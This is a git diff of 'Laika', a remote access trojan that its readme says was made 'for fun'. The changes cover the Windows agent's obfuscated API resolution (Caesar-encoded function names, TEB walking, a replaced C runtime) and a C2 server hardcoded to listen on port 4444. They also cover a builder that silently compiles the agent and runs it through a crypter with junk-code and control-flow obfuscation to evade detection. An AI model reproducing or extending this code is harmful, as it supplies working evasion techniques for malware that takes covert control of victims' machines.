a/Laika/resolve_apis.h b/Laika/resolve_apis.h index a15fdd7..495d478 100644 --- a/Laika/resolve_apis.h +++ b/Laika/resolve_apis.h @@ -1,20 +1,21 @@ #pragma once #include -#include +//#include #include #include -#include +//#include #include #include "utils.h" +#include "libc.h" #ifdef _M_X64 - #define GetTEB() ((PTEB)__readgsqword(FIELD_OFFSET(NT_TIB, Self))) + #define GetTEB() ((PTEB_)__readgsqword_(FIELD_OFFSET(NT_TIB, Self))) #else - #define GetTEB() ((PTEB)__readfsdword(FIELD_OFFSET(NT_TIB, Self))) + #define GetTEB() ((PTEB_)__readfsdword_(FIELD_OFFSET(NT_TIB, Self))) #endif -typedef NTSTATUS(NTAPI* TRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString); -typedef NTSTATUS(NTAPI* TLdrLoadDll)(PWCHAR, ULONG, PUNICODE_STRING, PHANDLE); +typedef NTSTATUS(__stdcall* TRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString); +typedef NTSTATUS(__stdcall* TLdrLoadDll)(PWCHAR, ULONG, PUNICODE_STRING, PHANDLE); typedef HMODULE(WINAPI* TLoadLibraryA)(LPCSTR); typedef BOOL(WINAPI* Tconnect)(SOCKET, const SOCKADDR*, int); diff --git a/Laika/utils.c b/Laika/utils.c index 5fe1f90..05015c5 100644 --- a/Laika/utils.c +++ b/Laika/utils.c @@ -6,7 +6,7 @@ extern API Api; #define KEY 5 char* CAESAR(char* in) { - for (size_t i = 0; i < strlen(in); i++) { + for (size_t i = 0; i < strlen_(in); i++) { in[i] += KEY; } @@ -14,7 +14,7 @@ char* CAESAR(char* in) { } char* CAESAR_DECRYPT(char* in) { - for (size_t i = 0; i < strlen(in); i++) { + for (size_t i = 0; i < strlen_(in); i++) { in[i] -= KEY; } @@ -23,7 +23,7 @@ char* CAESAR_DECRYPT(char* in) { LPCWSTR ConvertCharToWChar(const char* str) { - int len = strlen(str) + 1; + int len = strlen_(str) + 1; int wlen = Api.MultiByteToWideChar(CP_ACP, 0, str, len, NULL, 0); LPWSTR wstr = (LPWSTR)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, wlen * sizeof(WCHAR)); Api.MultiByteToWideChar(CP_ACP, 0, str, len, wstr, wlen); diff --git a/Server/BuildMenu.cs b/Server/BuildMenu.cs index 94244bb..c665a86 100644 --- a/Server/BuildMenu.cs +++ b/Server/BuildMenu.cs @@ -204,8 +204,7 @@ namespace Server #endif void api_{functionName}(void) {{ #ifdef _WIN32 - char api[] = ""{Utils.CAESAR(api.function_name)}""; - f{api.function_name} p{api.function_name} = GetApi(L""{api.dll_name}"", PCAESAR_DECRYPT(api)); + f{api.function_name} p{api.function_name} = GetApi(L""{api.dll_name}"", ""{Utils.CAESAR(api.function_name)}""); if (p{api.function_name} == NULL) {{ state->STACK_IDX -= {api.arguments.Count}; {(returnsVoid ? string.Empty : "state->registers->eax = 1;")} @@ -276,7 +275,8 @@ void api_{functionName}(void) {{ AppendApisToAPIC(); UpdateApiHeaderFile(); - + + /* button2.Text = "Building pasm..."; button2.Update(); @@ -308,6 +308,7 @@ void api_{functionName}(void) {{ button2.Text = "Building Laika..."; button2.Update(); + */ /* startInfo.Arguments = "/C \"\"" + cmd_line + "\"\" ../Laika /p:Configuration=Release;Platform=x86"; startInfo.RedirectStandardError = true; @@ -335,13 +336,30 @@ void api_{functionName}(void) {{ newContent += "};"; File.WriteAllText(filePath, newContent); + /* startInfo.Arguments = "/C \"\"" + cmd_line + "\"\" ../Laika /p:Configuration=Release;Platform=x86"; startInfo.RedirectStandardError = true; process.StartInfo = startInfo; process.Start(); output += process.StandardOutput.ReadToEnd(); output += process.StandardError.ReadToEnd(); + process.WaitForExit(); + */ + button2.Text = "Building Laika..."; + button2.Update(); + + System.Diagnostics.Process process = new System.Diagnostics.Process(); + System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo(); + startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; + startInfo.FileName = "cmd"; + startInfo.Arguments = "/C cd ../Laika/ && mingw32-make fclean && mingw32-make"; + startInfo.RedirectStandardOutput = true; + startInfo.UseShellExecute = false; + startInfo.CreateNoWindow = true; + process.StartInfo = startInfo; + process.Start(); + output += process.StandardOutput.ReadToEnd(); process.WaitForExit(); if (!checkBox1.Checked) @@ -358,7 +376,7 @@ void api_{functionName}(void) {{ args += " --junk " + numericUpDown1.Value.ToString(); if (checkBox4.Checked) args += " --control_flow " + numericUpDown2.Value.ToString(); - if (pictureBox1.ImageLocation != "") + if (pictureBox1.ImageLocation != "" && pictureBox1.ImageLocation != null) args += " --icon " + pictureBox1.ImageLocation; startInfo.Arguments = "/C cd ..\\patate-crypter\\Builder && python gui.py --file ..\\..\\bin\\Laika.exe" + args; diff --git a/Server/FileExplorer.cs b/Server/FileExplorer.cs index c42ad3b..e6e5e8f 100644 --- a/Server/FileExplorer.cs +++ b/Server/FileExplorer.cs @@ -123,6 +123,12 @@ namespace Server comboBox1.Items.Add(l); } comboBox1.SelectedIndex = 0; + char d = comboBox1.Items.IndexOf(comboBox1.SelectedIndex).ToString()[0]; + while ((d == 'A' || d == 'B') && (comboBox1.SelectedIndex + 1) < comboBox1.Items.Count) + { + comboBox1.SelectedIndex++; + d = comboBox1.Items.IndexOf(comboBox1.SelectedIndex).ToString()[0]; + } PATH = comboBox1.Text + ":/"; textBox1.Text = PATH; diff --git a/Server/Menu.cs b/Server/Menu.cs index ff74747..7b31e77 100644 --- a/Server/Menu.cs +++ b/Server/Menu.cs @@ -29,7 +29,7 @@ namespace Server public static int localport; public static void ServerStart() { - localip = Dns.GetHostEntry(Dns.GetHostName()).AddressList.FirstOrDefault(ip => ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork).ToString(); + localip = "192.168.1.20";//Dns.GetHostEntry(Dns.GetHostName()).AddressList.FirstOrDefault(ip => ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork).ToString(); localport = 4444; server = new TcpListener(System.Net.IPAddress.Parse(localip), localport); server.Start(); diff --git a/pasm b/pasm index e560311..fff046f 160000 --- a/pasm +++ b/pasm @@ -1 +1 @@ -Subproject commit e5603117d4ef402e0f8b88d6b2ce37bb4ecc9e81 +Subproject commit fff046f8603f08fab357cf66d4425ffecec8cbb6 diff --git a/patate-crypter b/patate-crypter index 8fd24fc..15c8e78 160000 --- a/patate-crypter +++ b/patate-crypter @@ -1 +1 @@ -Subproject commit 8fd24fc073e8d3c3fac3918ff8c70a2bdd77e846 +Subproject commit 15c8e787e296611fdd2d7907dbfbed10fbb05a95 diff --git a/readme.md b/readme.md index 9d33a9d..ea99662 100644 --- a/readme.md +++ b/readme.md @@ -1,6 +1,7 @@ # Laika A very simple RAT I created for fun.
+You need mingw32 and Visual Studio 2022's clang to compile the agent btw.
# Agent